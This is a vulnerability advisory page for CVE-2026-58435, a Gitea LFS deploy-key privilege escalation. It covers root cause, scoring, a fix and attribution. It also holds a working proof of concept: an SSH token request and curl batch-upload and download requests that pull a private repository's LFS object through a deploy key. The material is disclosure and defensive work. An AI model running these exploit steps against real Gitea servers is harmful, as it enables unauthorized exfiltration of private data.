Skip to main content

Gitea CVE-2026-58435

MEDIUM
Incorrect Privilege Assignment (CWE-266)
2026-07-21 https://github.com/go-gitea/gitea GHSA-rh79-75qm-gwjr
5.4
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
vuln.today AI
5.9 MEDIUM

AC:H reflects the hard OID-knowledge prerequisite; C:H reflects full LFS object disclosure once exploited; PR:L confirmed by write deploy key requirement.

3.1 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Jul 21, 2026 - 21:21 vuln.today
Analysis Generated
Jul 21, 2026 - 21:21 vuln.today

DescriptionGitHub Advisory

Vulnerability Header

FieldValue
Vulnerability TitleGitea LFS Deploy-Key Privilege Escalation
Severity RatingHigh
Bug CategoryInsufficient Authorization
Locationservices/lfs/server.go:268, routers/private/serv.go:275
Affected Versions1.25.5

Executive Summary

Gitea's LFS server (services/lfs/server.go:268) uses the UserID embedded in an LFS JWT to make cross-repository authorization decisions via LFSObjectAccessible(). This would be safe if the JWT UserID always matched the actual requesting principal - but for deploy keys, routers/private/serv.go:275 sets UserID = repo.OwnerID instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH git-lfs-authenticate flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns - no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.

Root Cause Analysis

Technical Description

The vulnerability is a trust-boundary confusion across two independent subsystems. When a deploy key authenticates over SSH, serv.go sets UserID = repo.OwnerID because the code has no better representation for a deploy key identity (a FIXME comment acknowledges this). That UserID is baked verbatim into the LFS JWT by cmd/serv.go. The JWT is then consumed by server.go, which treats claims.UserID as the authenticated principal and loads that user object as ctx.Doer. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls LFSObjectAccessible(ctx, ctx.Doer, oid) - a global query across all repos the claimed user can see - to decide whether to silently create the cross-repo link. The JWT's RepoID claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the UserID driving the cross-repo access decision is the repo *owner*, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.

First Faulty Condition

The primary bug - where the JWT UserID is set incorrectly - is in serv.go:

Filerouters/private/serv.go
Line275
ConditionDeploy key branch sets results.UserID = repo.OwnerID; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in server.go:268
go
// routers/private/serv.go:252-278
if key.Type == asymkey_model.KeyTypeDeploy {
    ...
    // FIXME: Deploy keys aren't really the owner of the repo pushing changes
    // however we don't have good way of representing deploy keys in hook.go
    // so for now use the owner of the repository
    results.UserName = results.OwnerName
    results.UserID = repo.OwnerID    // ← OWNER's UID, not the deploy key
    ...
}

The secondary bug - where the tainted UserID is actually misused - is in server.go:

Fileservices/lfs/server.go
Line268
ConditionLFSObjectAccessible(ctx, ctx.Doer, oid) makes a cross-repo decision using the JWT UserID, which for deploy keys is the repo owner, not the deploy key holder
go
// services/lfs/server.go:267-275
if exists && meta == nil {
    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
    ...
    if accessible {
        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)  // links OID to attacker's repo
        ...
    }
}

Admin amplification: if victim.IsAdmin, models/git/lfs.go:226 short-circuits with a bare COUNT(*) over the entire lfs_meta_object table - no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.

Exploitability Assessment

Attack Vector & Reachability

Attack vectorNetwork
Authentication requiredLow: attacker must hold a write deploy key's private key material for any of victim's repositories
User interaction requiredNone
Reachable in default configNo. Requires LFS_START_SERVER = true
Entry point(s)SSH git-lfs-authenticate command + HTTP LFS batch API

The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests - not enumerable and not brute-forceable - and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior git pull, and issue or pull request comments that reference pointer file contents.

LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a post-revocation persistence primitive - after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.

Reproduction Steps

Environment

The issue was reproduced using gitea/gitea:1.25.5 docker image.

Setup (performed as victim/admin - represents normal deployment state)

bash
# 1. Victim creates a private repo and uploads an LFS object
git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git
cd secret-repo
git lfs track "*.bin"
echo "TOP SECRET: password is hunter2" > secret.bin
git add .gitattributes secret.bin && git commit -m "secret"
git push && git lfs push origin main
# Note the OID and size from:
git lfs pointer --file=secret.bin
# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b
# size 32
# 2. Victim creates ci-repo and registers a write deploy key
#    (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)
#    Attacker holds the corresponding private key (e.g. leaked from CI config)

Exploit

bash
# Step 1 - Obtain JWT via SSH using only the deploy key (no victim credentials)
ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \
  "git-lfs-authenticate victim/ci-repo upload"
# → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."}
# Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...}
#                                              ^^^^^^^^ victim's UID - BUG

JWT="eyJ..."
OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b"
SIZE=32
# Step 2 - Confirm attacker is blocked from secret-repo directly
curl -s -H "Authorization: Bearer $JWT" \
  "http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID"
# → {"Message":"Unauthorized"}  - correctly blocked
# Step 3 - Batch upload to ci-repo claiming the secret OID
curl -s -X POST \
  -H "Authorization: Bearer $JWT" \
  -H "Accept: application/vnd.git-lfs+json" \
  -H "Content-Type: application/vnd.git-lfs+json" \
  "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \
  -d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → {"objects":[{"oid":"1d4fed...","size":32}]}  - NO "actions" field
#   server silently linked the OID to ci-repo without demanding proof of possession
# Step 4 - Download the secret via ci-repo
curl -s -H "Authorization: Bearer $JWT" \
  "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID"
# → TOP SECRET: password is hunter2

Expected output

Step 2:  {"Message":"Unauthorized"}          ← blocked from secret-repo
Step 3:  {"objects":[{"oid":"1d4fed...","size":32}]}  ← no actions = silently linked
Step 4:  TOP SECRET: password is hunter2     ← exfiltrated via ci-repo

PoC files

  • poc.sh - end-to-end PoC using real SSH deploy key

Recommended Fix

A proper fix might require significant architecture change. A short term recommendation is presented below:

Fix 1 - services/lfs/server.go:267 (defense in depth, immediately effective)

Remove the LFSObjectAccessible cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one RepoID; authorization decisions about *other* repos should not be made using the JWT UserID.

go
// BEFORE (vulnerable):
if exists && meta == nil {
    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
    if err != nil {
        log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err)
        writeStatus(ctx, http.StatusInternalServerError)
        return
    }
    if accessible {
        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)
        if err != nil {
            log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err)
            writeStatus(ctx, http.StatusInternalServerError)
            return
        }
    } else {
        exists = false
    }
}
go
// After (safe):
if exists && meta == nil {
    // Do not use ctx.Doer for cross-repo decisions - the JWT only authorizes
    // access to this repo. Always require proof-of-possession for objects
    // not already linked here.
    exists = false
}

The client will re-upload the bytes (which are hash-verified). Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.

Full patch: fix1.patch

Fix 2 - routers/private/serv.go:275 (fix the source)

Stop embedding repo.OwnerID in the JWT for deploy keys. Options:

  • Add a DeployKeyID field to the JWT Claims struct; teach handleLFSToken to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).
  • Or mint a separate JWT type for deploy keys that server.go treats as repo-scoped only, refusing to use it for cross-repo operations.

Patch provenance: AI-generated + Human-reviewed

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.

AnalysisAI

LFS deploy-key privilege escalation in Gitea (< 1.27.0) allows a holder of a write deploy key for any single repository owned by a victim to exfiltrate LFS objects from all private repositories that victim owns. The flaw originates in routers/private/serv.go:275, where Gitea embeds repo.OwnerID as the JWT UserID for deploy-key SSH sessions, causing the LFS batch handler at services/lfs/server.go:268 to evaluate cross-repository authorization as if the repository owner - not the deploy key - were the requesting principal. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain write deploy key private key from CI/CD config
Delivery
SSH git-lfs-authenticate to receive JWT with victim OwnerID
Exploit
Identify target LFS OID via public fork or prior access
Execution
POST batch upload to ci-repo with secret-repo OID
Persist
Gitea LFSObjectAccessible silently links object cross-repo
Impact
Download exfiltrated LFS content via ci-repo HTTP endpoint

Vulnerability AssessmentAI

Exploitation Three specific conditions must all hold simultaneously. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The vendor-assigned CVSS 3.1 score is 5.4 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N), which materially underestimates real-world impact for two reasons. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who extracted a write deploy key from a leaked CI/CD pipeline configuration authenticates to the target Gitea instance via SSH `git-lfs-authenticate victim/ci-repo upload`, receiving a valid server-signed JWT in which `UserID` is silently set to the victim's UID rather than any deploy-key identity. Using a SHA-256 OID learned from a stale LFS pointer file in a public fork of the victim's private repository, the attacker submits a batch upload request to `ci-repo`'s LFS HTTP endpoint; Gitea's `LFSObjectAccessible` check authorizes the request as the repo owner and silently links the target object to `ci-repo` without requiring the attacker to re-upload the bytes. …
Remediation Upgrade to Gitea 1.27.0, which resolves both the JWT identity confusion in `serv.go` and the cross-repository shortcut in `server.go`, as confirmed by the vendor release at https://github.com/go-gitea/gitea/releases/tag/v1.27.0 and advisory GHSA-rh79-75qm-gwjr. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Gitea

View all
CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2020-13246 HIGH POC
7.5 May 20

An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita

CVE-2022-0905 HIGH POC
7.1 Mar 10

Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab

CVE-2022-1058 MEDIUM POC
6.1 Mar 24

Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. Rated medium severity (CVSS 6.1), this vulne

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-27780 CRITICAL
9.8 Jul 03

Branch-protection bypass in Gitea's self-hosted Git server (all versions before 1.26.0) allows a user with push access t

CVE-2026-26292 CRITICAL
9.8 Jul 03

Migration transport protections in Gitea are bypassed for Git LFS operations, affecting all self-hosted instances before

Share

CVE-2026-58435 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy